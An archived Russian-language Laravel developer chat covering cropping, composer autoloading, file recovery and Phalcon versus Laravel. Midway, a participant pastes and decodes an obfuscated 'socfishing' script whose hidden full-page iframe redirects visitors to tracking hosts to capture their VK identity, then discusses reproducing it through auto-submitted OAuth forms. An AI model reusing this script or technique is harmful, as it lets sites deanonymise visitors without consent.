These are chat archives for LaravelRUS/chat

23rd
Aug 2014
Andrey
@Quiss
Aug 23 2014 05:38
@slider23 чет я стопорнулся на твоем модуле))
на этом шаге:
Add Acme\User\UserServiceProvider to the providers array in app/config/app.php. Module is ready to work !
Class 'Walfire\Administrator\AdministratorServiceProvider' not found
Orel
@2byte
Aug 23 2014 05:59
Живые есть?
Andrey
@Quiss
Aug 23 2014 06:00
lf
Orel
@2byte
Aug 23 2014 06:02
Я вот вчера использовал jquery .on('load', function () {}); для того что бы узнать когда картинка загрузится, а с подключением js так прокатит ?
Andrey
@Quiss
Aug 23 2014 06:03
хз
Orel
@2byte
Aug 23 2014 06:07
crop(int $width, int $height, [int $x, int $y])
Вот для кропа нужен только x и y, плагин jcrop имеет еще x2,y2. x и y достаточно что бы вырезать, это же координаты отсупа от верха и лефта ?
Andrey
@Quiss
Aug 23 2014 06:07
да но нужно x2 y2
чтобы понимать до куда резать
а потом ресайзишь до размеров 100x100 например) и будет аватар :D
Orel
@2byte
Aug 23 2014 06:09
Ну видишь функция crop x2,y2 не нуждается, а размер уже известен width и height
Andrey
@Quiss
Aug 23 2014 06:09
я бы использовал все-же) ну это чисто мое мнение
Orel
@2byte
Aug 23 2014 06:10
Она не принимает x2,y2 я бы их передал
Andrey
@Quiss
Aug 23 2014 06:10
эм
а ты какую либу юзаешь
Orel
@2byte
Aug 23 2014 06:10
public Intervention\Image\Image crop(int $width, int $height, [int $x, int $y])
Которую ты мне посоветовал
шо ты мне рассказываешь
все она принимает :D
Orel
@2byte
Aug 23 2014 06:11
Нет
Andrey
@Quiss
Aug 23 2014 06:11
// open file a image resource
$img = Image::make('public/foo.jpg');

// crop image
$img->crop(100, 100, 25, 25);
балин
туплю
Orel
@2byte
Aug 23 2014 06:11
width,height это длина и ширина которая мне нужна какой квадрат вырезать
Andrey
@Quiss
Aug 23 2014 06:11
точно туплю
сек
это не то
Orel
@2byte
Aug 23 2014 06:11
Ну вот
А у jcrop есть x,y,x1,y2,width,height
Andrey
@Quiss
Aug 23 2014 06:13
да) я помню просто не помню где x2y2 применял
Orel
@2byte
Aug 23 2014 06:13
Может x2,y2 это отступ координат с правого края
Andrey
@Quiss
Aug 23 2014 06:15
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Pic {
    public function manipulation($inputImage,$outputImage,$outputWidth,$outputHeight,$add_prefix="")
    {
        $CI =& get_instance();
        $CI->load->library('image_lib');
        $a = $inputImage["image_height"]; 
        $b = $inputImage["image_width"];
        if($a < $b)
        {
            $prop = $b/$a;
            if ($prop < $outputWidth/$outputHeight) {
                $c = $b/$outputWidth;
                $config['create_thumb'] = TRUE;
                $config['maintain_ratio'] = TRUE;
                $config['width']     = $outputWidth;
                $config['height']    = round($a/$c);
                $config['image_library'] = 'gd2';
            }
            else 
            {
                $c = $a/$outputHeight;
                $config['create_thumb'] = TRUE;
                $config['maintain_ratio'] = TRUE;
                $config['width']     = round($b/$c);
                $config['height']    = $outputHeight;
                $config['image_library'] = 'gd2';
            }
        }
        elseif($a > $b)
        {
            $prop = $a/$b;

            if ($prop < $outputHeight/$outputWidth) {
                $c = $b/$outputHeight;
                $config['create_thumb'] = TRUE;
                $config['maintain_ratio'] = TRUE;
                $config['width']     = $outputHeight;
                $config['height']    = round($b/$c);
                $config['image_library'] = 'gd2';
            }
            else {
                $c = $b/$outputWidth;
                $config['create_thumb'] = TRUE;
                $config['maintain_ratio'] = TRUE;
                $config['width']     = $outputWidth;
                $config['height']    = round($a/$c);
                $config['image_library'] = 'gd2';
            }
        }
        else
        {
            $c = $a/$outputHeight;
            $config['create_thumb'] = TRUE;
            $config['maintain_ratio'] = TRUE;
            $config['width']     = round($b/$c);
            $config['height']    = $outputHeight;
            $config['image_library'] = 'gd2';    
        }
        $config['source_image']    = $inputImage["upload_path"].$inputImage["file_name"];
        $config['new_image'] = $outputImage."/temp/".$inputImage["raw_name"]."".$inputImage["file_ext"];
        $config['create_thumb'] = FALSE;

        $CI->image_lib->initialize($config);
        $CI->image_lib->resize();                    

        $conf_new = array(
            'image_library' => 'gd2',
            'source_image' => $outputImage."/temp/".$inputImage["raw_name"]."".$inputImage["file_ext"],
            'new_image' => $outputImage."/".$inputImage["raw_name"]."".$add_prefix."".$inputImage["file_ext"],
            'create_thumb' => FALSE,
            'maintain_ratio' => FALSE,
            'width' => $outputWidth,
            'height' => $outputHeight
            );
        $conf_new['x_axis'] = 0;
        $conf_new['y_axis'] = 0;
        $CI->image_lib->initialize($conf_new);
        $CI->image_lib->crop();
    }
}
?>
в CodeIgniter я так применял
а не это не то
это умный кроп :)
умный ресайз*
с кропом*
:D
лан поищу кроп на досуге на другом проекте) скину)
Alexander Egorov
@Amegatron
Aug 23 2014 06:58
я юзаю какой-то кроп у себя в социалке, но щас не помню, как называется :) а ноут влом расчехлять :)
Не могу сдержаться :D
http://www.youtube.com/watch?v=yIIO7gxOAiY
Роман Сохарев
@greabock
Aug 23 2014 07:03
Отлично свели, между прочим! Автор шарит.
Alexander Egorov
@Amegatron
Aug 23 2014 07:04
"Чем старше человек, тем больше ему лет ..." порвало :D
Роман Сохарев
@greabock
Aug 23 2014 07:07
А это: "Владимир мне как брат..."
Alexander Egorov
@Amegatron
Aug 23 2014 07:11
Хм, этого не видел еще :)
Andrey
@Quiss
Aug 23 2014 07:35
А я думал все видели Enjoykin'a ))
у него дохрена такого)

http://www.youtube.com/watch?v=vaFmretTrpM

у меня ребенок под это залипает постоянно)

Orel
@2byte
Aug 23 2014 07:37
Аааа, видел это видео))
slider23
@slider23
Aug 23 2014 07:54
@Quiss "Walfire\Administrator\AdministratorServiceProvider" - файл реально по этому неймспейсу есть ?
Andrey
@Quiss
Aug 23 2014 07:57
да
есть)
Роман Сохарев
@greabock
Aug 23 2014 07:57
@Quiss Ну зачем... ты показал этот писюн?
Andrey
@Quiss
Aug 23 2014 07:57
@greabock заело?))
:D
@slider23 я даже думал что я где-то опечатался, уже потом копировал названия провайдера и т.п
slider23
@slider23
Aug 23 2014 07:58
walfire в psr-0 или 4 ?
Andrey
@Quiss
Aug 23 2014 07:58
psr ?
Was is das ? :D
slider23
@slider23
Aug 23 2014 07:59
в композере как он заявлен ?
Andrey
@Quiss
Aug 23 2014 07:59
в композере? о_О
один в один по твоей доке, там про композер ничего нет
slider23
@slider23
Aug 23 2014 08:01
'where Acme - namespace of your application (must be in autoload section of composer.json) '
Andrey
@Quiss
Aug 23 2014 08:01
а, да я просто указал в автолоад app/Walfire
и сделал dump-autoload
но не помогло)
slider23
@slider23
Aug 23 2014 08:17

Имеется в виду, что надо зарегистрить неймспейс в app, вот так, например:

"autoload": {
        "classmap": [
            "app/commands",
            "app/controllers",
            "app/models",
            "app/database/migrations",
            "app/database/seeds",
            "app/tests/TestCase.php"
        ],
        "psr-0": {
            "Walfire":"app/"
        }
    },

Надо будет поправить ридми

Brezhnev Ivan
@vanchelo
Aug 23 2014 08:24
        "psr-4": {
            "Walfire\\":"app/walfire_or_another_not_matter"
        }
Andrey
@Quiss
Aug 23 2014 08:25
а чем 0 от 4 отличается?
Brezhnev Ivan
@vanchelo
Aug 23 2014 08:25
тем что не обязательно складывать в Walfire
а так тебе обязательно надо в app создать папку Walfire
Andrey
@Quiss
Aug 23 2014 08:26
Создана модулем
Brezhnev Ivan
@vanchelo
Aug 23 2014 08:26
а psr-4 любую как верхний уровень NS
Andrey
@Quiss
Aug 23 2014 08:26
хм) лан, поковыряю)
Brezhnev Ivan
@vanchelo
Aug 23 2014 08:26
т.е. раньше надо было делать так /src/Vanchelo/Library
а щас так src/
psr-4: { Vanchelo\\Library\\: src/ }
понял разницу?
Andrey
@Quiss
Aug 23 2014 08:27
та
Andrey
@Quiss
Aug 23 2014 08:34
ААААА
АААА ПАНИКА
Я ТОК ЧТО УДАЛИЛ ФАЙЛЫ ПРОЕКТА
как восстановить?(((
абзац(
Brezhnev Ivan
@vanchelo
Aug 23 2014 08:35
комитил?
Andrey
@Quiss
Aug 23 2014 08:35
ytn
нет
сделал верстку и Shift + del
Brezhnev Ivan
@vanchelo
Aug 23 2014 08:35
сделай fetch
Andrey
@Quiss
Aug 23 2014 08:35
мне ток верстку надо восстановить
я полностью с гитом снес все(
Brezhnev Ivan
@vanchelo
Aug 23 2014 08:36
комитил?
Andrey
@Quiss
Aug 23 2014 08:36
нет
Brezhnev Ivan
@vanchelo
Aug 23 2014 08:36
ну и норм
заново залей с репо
Andrey
@Quiss
Aug 23 2014 08:36
да нету в репо ничего)
я ток сделал
не успел закоммитить
и удалил
Brezhnev Ivan
@vanchelo
Aug 23 2014 08:36
в репо на гите
Andrey
@Quiss
Aug 23 2014 08:37
лох это судьба
ппц
slider23
@slider23
Aug 23 2014 08:41
в шторме есть local history файлов
можно утилитой handy recovery посмотреть, восстановить удаленные файлы
на торрентах есть
Во чатик
Andrey
@Quiss
Aug 23 2014 09:33
нету разметки :)
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:34
this is гавночат
для школьников в самый раз
slider23
@slider23
Aug 23 2014 09:34
Стрёмный
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:35
однозначно
Andrey
@Quiss
Aug 23 2014 09:39
@slider23 надежда медленно умирает, handy recovery пока не нашел файлы
а можно тут указать конкретно папку где искать? не знаешь?
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:39
можно
Andrey
@Quiss
Aug 23 2014 09:39
о, а как? а то чет весь диск сканит
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:39
я такой не пользоватся
Andrey
@Quiss
Aug 23 2014 09:39
=(
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:39
active recovery
что-то такое
или active undelete
Andrey
@Quiss
Aug 23 2014 09:40
Active@ File Recovery 12.0.5
?
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:40
ага
Andrey
@Quiss
Aug 23 2014 09:40
Весь мусор нашел) а вот веб-сервер не сканит почему-то
Даже то что не надо нашел %)
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:41
так всегда(
slider23
@slider23
Aug 23 2014 09:42
я просто пользовался только handy recovery.
он у меня отработал ок, флешку восстанавливал.
ну пока жду
лол) даже дампы мускуля нашел которые не надо)
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:44
ыыы
Andrey
@Quiss
Aug 23 2014 09:44
надо будет низко-уровневое форматирование сделать будет потом :D
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:44
не поможет)
Andrey
@Quiss
Aug 23 2014 09:45
:D Вот все для ФСБ создано
даже жесткие)
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:45
у фсб всё на серверах храниться))
Andrey
@Quiss
Aug 23 2014 09:45
:D
Интересно
а на PHP можно сделать сканирование)
:D
Brezhnev Ivan
@vanchelo
Aug 23 2014 09:46
думаю можно
Роман Сохарев
@greabock
Aug 23 2014 09:47
Я вот даже не знаю как сказать... но как тебя угораздило-то удалить проект? Это ж не гифка какая-то...
Andrey
@Quiss
Aug 23 2014 09:50
Да я кароч забыл что верстку делал в public' сразу папке)
решил удалить все нахрен что-бы слить в BB старую версию
и случайно грохнул все даж верстку которую вчера пилил весь день
Роман Сохарев
@greabock
Aug 23 2014 09:51
...
Andrey
@Quiss
Aug 23 2014 09:51

http://cdn.joxi.ru/uploads/prod/2014/08/23/86a/e59/8a3eff6dfa21b4bd240743a1ae8bba8db8bb170a.jpg

ползет)) теперь бы makeup дождаться папку)

надеюсь будет)
:'(
нету (((
Роман Сохарев
@greabock
Aug 23 2014 09:55

Теперь только пилить новую =(
Роман Сохарев
@greabock
Aug 23 2014 10:07
Так тебе только верстку восстановить или остальное тоже улетело?
Andrey
@Quiss
Aug 23 2014 10:13
та не ток верстку
код наоборот откатить хотел на более стабильную версию
HTML'ки восстановил, но вот стилей нет. так и знал что надо было стили оставить прям в файле
Роман Сохарев
@greabock
Aug 23 2014 10:14
Ну печалька... сколько времени потратил на рекавер, теперь еще заново пилить.
Andrey
@Quiss
Aug 23 2014 10:17
Картинки то я нарезать смогу) а вот со стилями что делать ваще хз теперь
Роман Сохарев
@greabock
Aug 23 2014 10:18
Фреймворком пользовался каким ни будь? Или все кастомное?
Andrey
@Quiss
Aug 23 2014 10:21
ты про верстку?
Роман Сохарев
@greabock
Aug 23 2014 10:21
ну да
Andrey
@Quiss
Aug 23 2014 10:22
Бутстрап :)
жаль что стили похерились
Роман Сохарев
@greabock
Aug 23 2014 10:23
Ну тогда там не так много пилить. Ты бы уже сделал, если б с рекавером не ковырялся ^_^
Andrey
@Quiss
Aug 23 2014 10:23
))) тебе кажется что не дохрена
все эти медиа квери и т.п.
буэ воротит от них уже
LaravelButler

Приветствуем Вас, @softua, в нашем дружном чате
В чате запрещена: реклама, спам, нецензурная лексика. Чат не место для оскорблений и выяснений отношений между участниками. За нарушение – Бан!

Официальный сайт Laravel
Группа Вконтакте
А так же:
G+, Facebook, Twitter, GitHub

Ruslan Koloskov
@softua
Aug 23 2014 11:04
Всех приветствую.
И сразу вопрос.
Andrey
@Quiss
Aug 23 2014 11:04
Привет
Роман Сохарев
@greabock
Aug 23 2014 11:04
Привет
Ruslan Koloskov
@softua
Aug 23 2014 11:04
есть какой-то клиент для гиттера?
Роман Сохарев
@greabock
Aug 23 2014 11:05
только под мак
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:05
ыыы
Ruslan Koloskov
@softua
Aug 23 2014 11:05
ох, жаль.
Роман Сохарев
@greabock
Aug 23 2014 11:05
Ну или ирк
но там не все так красиво.
там вообще нет ничего красивого.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:06
Ruslan Koloskov
@softua
Aug 23 2014 11:06
то есть "```" и т.д. не будет работать?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:06
конечно нет
какая в ирке подсветка кода?
Роман Сохарев
@greabock
Aug 23 2014 11:06
да, маркдаун там игнорируется, естественно
Ruslan Koloskov
@softua
Aug 23 2014 11:06
понял, спасибо.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:07
только если ты своего клиента замутишь
Ruslan Koloskov
@softua
Aug 23 2014 11:07
Тогда придется сидеть в браузере.
@vanchelo обязательно. :)
кто ковырял?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:09
не интересовался такими вещами))
че за инстр?
т.е. нафига он нужен?
Andrey
@Quiss
Aug 23 2014 11:11
Ну статья на хабре была
типо заходишь на сайт
а твой ID VK фишиться
:D
вот что на выходе дает сайт:
 function console_out(str) { console.log("SFLog: "+str); }  console_out("loader v0.3");  console_out("1947");  console_out("9213");  console_out("9811");  console_out("7314");  console_out("4162");  console_out("5848");  console_out("7372");  console_out("6521");  console_out("2262");  console_out("9673");  console_out("8312");     (function(){ var c = "noindex"; var _0x5e2b=["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];setTimeout(function (){var _0x5525x1=document[_0x5e2b[0]](c);while(_0x5525x1[_0x5e2b[3]]){_0x5525x1[0][_0x5e2b[2]][_0x5e2b[1]](_0x5525x1[0]);} ;} ,50); eval(_0x5e2b); }());
    if( navigator.userAgent.match( "Android|BackBerry|phone|iPad|iPod|IEMobile|Nokia|Mobile|MSIE|iPhone|webOS|Windows Phone|Explorer|Trident" )  )  {
    mnoload = false; console_out('7422'); } else { mnoload = true; console_out('9418'); }
    isSafari = !!navigator.userAgent.match(/Version\/[\d\.]+.*Safari/); if (isSafari) { mnoload = false; console_out('5743'); }
    if (!navigator.cookieEnabled) { mnoload = false; }

    function are_cookies_enabled() {
    var cookieEnabled = (navigator.cookieEnabled) ? true : false;
    if (typeof navigator.cookieEnabled == "undefined" && !cookieEnabled) { 
        document.cookie="sfload";
        cookieEnabled = (document.cookie.indexOf("sfload") != -1) ? true : false;
    }
    return (cookieEnabled);
    }

    if (!are_cookies_enabled()) {
        mnoload = false;
    }

    iframe_url = 'data:text/html;charset=utf-8;base64,PCEtLSBzb2NmaXNoaW5nIHJlbG9hZCAtLT48bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vZm9sbG93IiAvPjxzY3JpcHQgYXN5bmM+IGlmKCIiIT13aW5kb3cucmVmZXJyZXIpIHsgY29uc29sZS5sb2coIlNGTG9nOiA5MDE0Iik7IHdpbmRvdy5sb2NhdGlvbi5ocmVmPSJodHRwczovL3Vjb3otaG9zdC5ydS9zaXRlaGlqYWNrLz91PTgzN2E3OGM4ZjViZDUzZjFjMDY0ODlhODNhYzA3ZTEwYWZlYmQwOWRmNTI0NDBiZjgwMmJiYmU2ZTAyOWI3ODQmaG9zdD04OTM0NjMmdWlkPWE2NjVjZjU5M2IwYzM0NjVlNzM3ZmNiZTgyNDcxMmE5NDExMmFmNTg3ODI4MjA0ODAyYTZjOGM3YTY2N2RkMWMyOWZhMmIyMGNjODZjNzMxNjRlMzFjNWQ4Y2ZhODhkYWExYzk1MjBlZjdkODAyZjM4YzFlNjQxYjQyYjI1YmU1MTc0YWI3ZGIzZjY2ZDE4MWY5MTJkZWRjY2FmMzE0MmMiOyB9IGVsc2UgeyB3aW5kb3cubG9jYXRpb24uaHJlZj0iZGF0YTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtODtiYXNlNjQsUENFdExTQlRSaUF0TFQ0OGMyTnlhWEIwUG1OdmJuTnZiR1V1Ykc5bktDZFRSa3h2WnpvZ05USXpNU2NwTzNkcGJtUnZkeTVzYjJOaGRHbHZiaTVvY21WbVBTZG9kSFJ3Y3pvdkwzTnZZMmRoZEdVdWNuVXZkSEpoWTJzdmRtdGZjMlZ1WkM1d2FIQW5Pend2YzJOeWFYQjBQandoTFMwZ1UwWWdMUzArIjsgfSA8L3NjcmlwdD48IS0tIHNvY2Zpc2hpbmcgcmVsb2FkIC0tPg==';
    if( mnoload ) {
        console_out('1388');
        document.oncontextmenu = new Function("return false;");

        var sf = document.createElement('div');
        sf.innerHTML = '<iframe src="'+iframe_url+'" name="SFrmload" id="SFrmload" frameborder="no" scrolling="no" allowtransparency style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; filter:alpha(opacity=1); opacity:1; cursor: pointer; z-index:88888;" /><\/iframe>'; 
        (document.getElementsByTagName('html')[0] || document.body).appendChild( sf );
        sf = document.getElementById("SFrmload");
        sf.parent = undefined;
    }

    onmessage = function(evnt) {
        if (evnt.data=='patched') {
            document.getElementById('SFrmload').style.visibility = "hidden";
            document.getElementById("SFrmload").style.height = "1px";
            document.getElementById("SFrmload").style.width = "1px";
            console_out('9949');
        }
    }
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:11
мясо какое=то
one mens meat
Andrey
@Quiss
Aug 23 2014 11:12

iframe_url =

<!-- socfishing reload --><meta name="robots" content="nofollow" /><script async> if(""!=window.referrer) { console.log("SFLog: 9014"); window.location.href="https://ucoz-host.ru/sitehijack/?u=837a78c8f5bd53f1c06489a83ac07e10afebd09df52440bf802bbbe6e029b784&host=893463&uid=a665cf593b0c3465e737fcbe824712a94112af587828204802a6c8c7a667dd1c29fa2b20cc86c73164e31c5d8cfa88daa1c9520ef7d802f38c1e641b42b25be5174ab7db3f66d181f912dedccaf3142c"; } else { window.location.href="data:text/html;charset=utf-8;base64,PCEtLSBTRiAtLT48c2NyaXB0PmNvbnNvbGUubG9nKCdTRkxvZzogNTIzMScpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwczovL3NvY2dhdGUucnUvdHJhY2svdmtfc2VuZC5waHAnOzwvc2NyaXB0PjwhLS0gU0YgLS0+"; } </script><!-- socfishing reload -->

in iframeurl base64

<!-- SF --><script>console.log('SFLog: 5231');window.location.href='https://socgate.ru/track/vk_send.php';</script><!-- SF -->
Роман Сохарев
@greabock
Aug 23 2014 11:12
я против
Andrey
@Quiss
Aug 23 2014 11:12
та я тоже против, но надо изучить скрипт
Роман Сохарев
@greabock
Aug 23 2014 11:12
ахаха
Ruslan Koloskov
@softua
Aug 23 2014 11:13
Есть еще вопрос. Я вообще последний проект писал на фалконе. Впринципе все нормально, не считая некоторых ньюансов. На подходе следующий и хочу понять на чем лучше писать его. Вот есть тут кто-то, кто знает фалкон и может вот так сходу назвать 5 причин, почему ларавел лучше? Сообщество уже вижу больше - это 0 причина.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:14
я на фальконе блог писал
Ruslan Koloskov
@softua
Aug 23 2014 11:14
@vanchelo а на ларавеле?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:15
и на ларавеле писал сайты)
Ruslan Koloskov
@softua
Aug 23 2014 11:15
и как?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:15
ларавел красивше
фалькон шустрее
на ларавел приятно работать
в фальконе мне orm не понравилась
и из коробки мало чего есть
зато модульность из каробки есть
и роуты поддерживают модули
это круто
Andrey
@Quiss
Aug 23 2014 11:16
@vanchelo по Guzzle сможешь хелпануть? =) русский мануал есть?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:16
я guzzle не юзал
Andrey
@Quiss
Aug 23 2014 11:17
а чем пользуешься?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:17
в данный момент?
давно ничего не использовал
Andrey
@Quiss
Aug 23 2014 11:19
да не вообще чем можно Guzzle заменить
кроме курла)
хотя ну его, пошел курл пинать
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:19
есть в нете варинаты
тебе для пыха?
slider23
@slider23
Aug 23 2014 11:20
а чем guzzle сложно ?
Andrey
@Quiss
Aug 23 2014 11:21
да я чет по доке композером guzzlehttp слил
и первый же пример выдал 404
Ruslan Koloskov
@softua
Aug 23 2014 11:23

@vanchelo

фалькон шустрее
С Ларавел сильно чувствуется разница?

По поводу роутов. Я еще сильно не курил мануал, но понимаю, что в ларавеле каждый роут нужно описывать? То есть как в фалконе /:controller/:action/:params не получится?

Brezhnev Ivan
@vanchelo
Aug 23 2014 11:23
сильно
это костыльный способ
Andrey
@Quiss
Aug 23 2014 11:23
=)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:23
я и в фальконе так не делал
фу
если надо есть Route::controller
Ruslan Koloskov
@softua
Aug 23 2014 11:23
:)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:24
почти тоже самое
а вообще можно и в ларе такой роутер замутить
Ruslan Koloskov
@softua
Aug 23 2014 11:24

почти тоже самое

только для каждого контроллера. :) А почему костыльный тот вариант?

Andrey
@Quiss
Aug 23 2014 11:25

http://cdn.joxi.ru/uploads/prod/2014/08/23/4e7/b2b/ae8c40db34092ad656749c3cd9bc7521d20b0c70.jpg

оч весело получается, кидаем данный скрипт во фрейм, получаем userId

header('Content-Type: text/html; charset=utf-8');
$client_id = '4495489';
$client_secret = 'fJqrycYdv0sxe7PqQ9Al';
$redirect_uri = 'http://searcher.local';
$url = 'http://oauth.vk.com/authorize';
$params = array(
    'client_id'     => $client_id,
    'redirect_uri'  => $redirect_uri,
    'response_type' => 'code'
);
if (isset($_GET['code'])) {
    $params = array(
        'client_id' => $client_id,
        'client_secret' => $client_secret,
        'code' => $_GET['code'],
        'redirect_uri' => $redirect_uri
    );

    @$token = json_decode(file_get_contents('https://oauth.vk.com/access_token' . '?' . urldecode(http_build_query($params))), true);
    print_r($token['access_token']);
    print_r($token);
}
echo $link = '<p><a href="' . $url . '?' . urldecode(http_build_query($params)) . '">Аутентификация через ВКонтакте</a></p>';
ток с эмулировать клик по ссылке надо)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:26
незя
Andrey
@Quiss
Aug 23 2014 11:26
как нельзя jquery click не?)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:26
$('a').click() - идет в опу
Andrey
@Quiss
Aug 23 2014 11:26
почему?)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:26
по качану
к разрабам обратись)
Andrey
@Quiss
Aug 23 2014 11:27
та не) ну они же цепляют который соцфишинг)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:27
а вот форму можно отправить
Andrey
@Quiss
Aug 23 2014 11:27
таким-же образом)
хм
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:27
форму гетом автоматом легко
Andrey
@Quiss
Aug 23 2014 11:27
форма с гет параметрами
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:27
да
Andrey
@Quiss
Aug 23 2014 11:27
идеально)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:27
form.submit()
Andrey
@Quiss
Aug 23 2014 11:28
о_О идея
а не нету идеи
Ruslan Koloskov
@softua
Aug 23 2014 11:31

@vanchelo В фалконе есть такая штука:

Model->execute()->filter(function (Model $model) {...})

То есть closure для каждой модели. Есть подобное в ларе?

Brezhnev Ivan
@vanchelo
Aug 23 2014 11:32
вот так с роутами можно. но я не тестил
<?php

Route::any('/{controller}/{action?}/{param1?}/{param2?}/{param3?}', function ($controller, $action = 'index') {
    $controller = App::male(ucfirst($controller) . 'Controller');

    return $controller->callAction($action);
});
Ruslan Koloskov
@softua
Aug 23 2014 11:33
Та ну, уже лучше писать каждый роут.
:)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:33
вообще геморно, нужно проверить есть ли метод в контроллере
есть ли контроллер и т.д.
а ты думаешь в фальконе за кадром иначе всё?
Ruslan Koloskov
@softua
Aug 23 2014 11:34
нет, но вот именно, что "за кадром" при чем на С.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:35
в ларе
$collection = User::all()->filter(function (User $user) {});
Ruslan Koloskov
@softua
Aug 23 2014 11:35
круто, спасибо.
один в один. :)
я так понимаю, что производительность - единственный плюс фалкона?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:36
вольт классный
Ruslan Koloskov
@softua
Aug 23 2014 11:36
Тот же IoC судя по мануалу, кажется проще реализован.
вольт глючный.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:37
не сказал бы что проще
Andrey
@Quiss
Aug 23 2014 11:37
Чет лара через шторм долго льёться
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:37
в фальконе дофига чего нет
Andrey
@Quiss
Aug 23 2014 11:37
=(
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:37
только каркас
Ruslan Koloskov
@softua
Aug 23 2014 11:38
это да.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:38
еще очень большой минус что исходники не на пхп
я всегда исходники смотрю
если не понимаю как что-то работает
а там фиг поймешь
в ларе в исходниках куча методов которые в доках не описаны
как бы я о них узнал?
Ruslan Koloskov
@softua
Aug 23 2014 11:39
да, проблема, хотя я редко лезу в исходники.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:39
зря
Ruslan Koloskov
@softua
Aug 23 2014 11:39
:)
forge действительно так крут, как описан? вот так просто разворачивать проект и пушить изменения?
slider23
@slider23
Aug 23 2014 11:40
в фальконе можно писать приложение php-классами, а не контроллерами-моделями ? Я про репозитории, обсерверы, трейты к моделям, вот это всё ?
@softua да, просто пушишь, все работает
Ruslan Koloskov
@softua
Aug 23 2014 11:41

в фальконе можно писать приложение php-классами, а не контроллерами-моделями ?

а зачем?

Brezhnev Ivan
@vanchelo
Aug 23 2014 11:41
можно
в фальконе есть отдельный модуль MVC из коробки
но ты им можешь не пользоваться
slider23
@slider23
Aug 23 2014 11:42
для больших приложений контроллеры-модели-онли зарудняют внедрение новых фич
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:43
я хз как без MVC для веби писать
пока еще такого опыта не было
Ruslan Koloskov
@softua
Aug 23 2014 11:43
Я тоже уже плохо представляю!
slider23
@slider23
Aug 23 2014 11:43
не, без писать не надо
Ruslan Koloskov
@softua
Aug 23 2014 11:43
Нафига тогда вообще фреймворк использовать?
slider23
@slider23
Aug 23 2014 11:43
только-с-MVC не надо
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:44
а пример есть?
slider23
@slider23
Aug 23 2014 11:45
да почти любое приложение на кодигнитере например
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:45
без MVC?
slider23
@slider23
Aug 23 2014 11:45
только на MVC
Ruslan Koloskov
@softua
Aug 23 2014 11:45
@slider23 то есть не использовать маршруты, отображения шаблонов?
Понятно, что есть какая-то логика, которая написаны в классах, но вызваются они все-равно из контроллеров?
ну или модели их вызывают.
Но запрос как обработать?
slider23
@slider23
Aug 23 2014 11:47
еще раз - я говорю. что большое приложение неудобно делать только-на-mvc. когда думаешь - где бы тебе написать этот код ? И у тебя в вариантах только контроллеры, модели и может быть хелперы какие-нибудь.
Неизбежно помимо MVC применять другие парадигмы
Ruslan Koloskov
@softua
Aug 23 2014 11:48
@slider23 я не понимаю, что мешает писать этот код в отдельных классах? При чем в любом фреймворке.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:49
ааа
так а че в CI нельзя так делать?
мне кажется что в ларе что в CI можно писать по всякому
slider23
@slider23
Aug 23 2014 11:50
вот я и спрашиваю - фалькон позволяет сделать неймспейс с автозагрузкой классов, как в ларавеле ?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:50
да
я так и делал
ставишь компосер)
Ruslan Koloskov
@softua
Aug 23 2014 11:51
не нужен там композер.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:51
нужен
Ruslan Koloskov
@softua
Aug 23 2014 11:51
Зачем?
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:52
подумай
зачем он в ларавел?
как поставить SwifMailer?
Aza Noriega
@MegaGM
Aug 23 2014 11:52
И впрямь, зачем? :D
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:52
как поставить API?
Роман Сохарев
@greabock
Aug 23 2014 11:52
